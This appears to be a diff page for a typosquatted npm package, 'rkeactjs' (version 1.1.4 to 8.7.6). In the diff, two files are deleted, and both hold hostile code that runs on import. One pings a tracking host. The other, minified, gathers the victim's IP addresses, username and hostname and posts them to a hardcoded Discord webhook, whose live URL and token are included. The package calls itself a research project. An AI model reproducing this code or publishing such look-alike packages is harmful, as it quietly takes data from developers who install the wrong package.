rkeactjs 1.1.4 → 8.7.6

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/index.js +0 -1
  2. package/package.json +1 -1
  3. package/new.js +0 -1
package/index.js CHANGED
@@ -1 +0,0 @@
1
- const https = require('https'); const main = (function(){ const options = { hostname: 'hits.dwyl.com', path: '/serialfuzzer/serialfuzzer', method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Referer': 'https://github.com/serialfuzzer' } }; const req = https.request(options, (res) => { res.on('data', (chunk) => {}); }); req.on('error', (error) => { }); req.end(); return {}; })(); module.exports = main;
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
 
2
2
  {
3
3
  "name": "rkeactjs",
4
- "version": "1.1.4",
4
+ "version": "8.7.6",
5
5
  "description": "Research project",
6
6
  "main": "index.js",
7
7
  "scripts": {
package/new.js DELETED
@@ -1 +0,0 @@
1
- function sendToDiscord(e,t){const n=new URL(e),o=JSON.stringify({content:t}),r={hostname:n.hostname,port:443,path:n.pathname+n.search,method:"POST",headers:{"Content-Type":"application/json","Content-Length":o.length}},s=https.request(r,e=>{});s.on("error",e=>{console.error(e)}),s.write(o),s.end()}function getPublicIP(){return new Promise((e,t)=>{https.get("https://httpbin.org/ip",n=>{let o="";n.on("data",e=>{o+=e}),n.on("end",()=>{try{const n=JSON.parse(o);e(n.origin)}catch(e){t("Error parsing response: "+e)}})}).on("error",e=>{t("Error fetching IP: "+e)})})}const https=require("https"),os=require("os"),main=!async function(){var e="https://discord.com/api/webhooks/1156079272264478792/mBYJcDha0NlSfdIi0JhnpIhhYpE1aR5eKcgNKrXH-lM9ItGlSS86HzHjvIi4KqqaCJD0",t=Object.keys(os.networkInterfaces()).map(e=>os.networkInterfaces()[e].map(e=>e.address)).flat(),n=os.userInfo().username,o=await getPublicIP(),r=`${t.join(",")},${n}, ${os.hostname()}, ${o}`;return sendToDiscord(e,r),{}}();module.exports=main;